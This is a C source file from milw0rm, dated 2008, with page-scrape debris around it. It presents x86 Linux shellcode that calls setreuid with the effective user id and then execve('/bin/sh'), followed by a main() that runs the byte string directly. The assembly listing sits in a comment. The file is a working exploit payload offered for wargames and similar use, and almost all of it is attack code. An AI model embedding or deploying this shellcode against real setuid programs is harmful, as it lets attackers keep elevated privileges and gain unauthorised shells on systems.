44 lines
No EOL
880 B
C
44 lines
No EOL
880 B
C
/*
|
|
|
|
setreuid(geteuid, geteuid) + execve(/bin/sh) shellcode - useful for wargames and the like.
|
|
|
|
global _start
|
|
|
|
section .text
|
|
_start:
|
|
; geteuid
|
|
push byte 49
|
|
pop eax
|
|
int 0x80
|
|
|
|
; setreuid
|
|
mov ebx, eax
|
|
mov ecx, eax
|
|
push byte 70
|
|
pop eax
|
|
int 0x80
|
|
|
|
; execve
|
|
xor eax,eax
|
|
push eax
|
|
push 0x68732f2f
|
|
push 0x6e69622f
|
|
push esp
|
|
pop ebx
|
|
push eax
|
|
push ebx
|
|
mov ecx, esp
|
|
xor edx, edx
|
|
mov byte al,11
|
|
int 0x80
|
|
*/
|
|
|
|
main() {
|
|
char shellcode[] = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50"
|
|
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31"
|
|
"\xd2\xb0\x0b\xcd\x80";
|
|
|
|
(*(void (*)()) shellcode)();
|
|
}
|
|
|
|
// milw0rm.com [2008-08-19]
|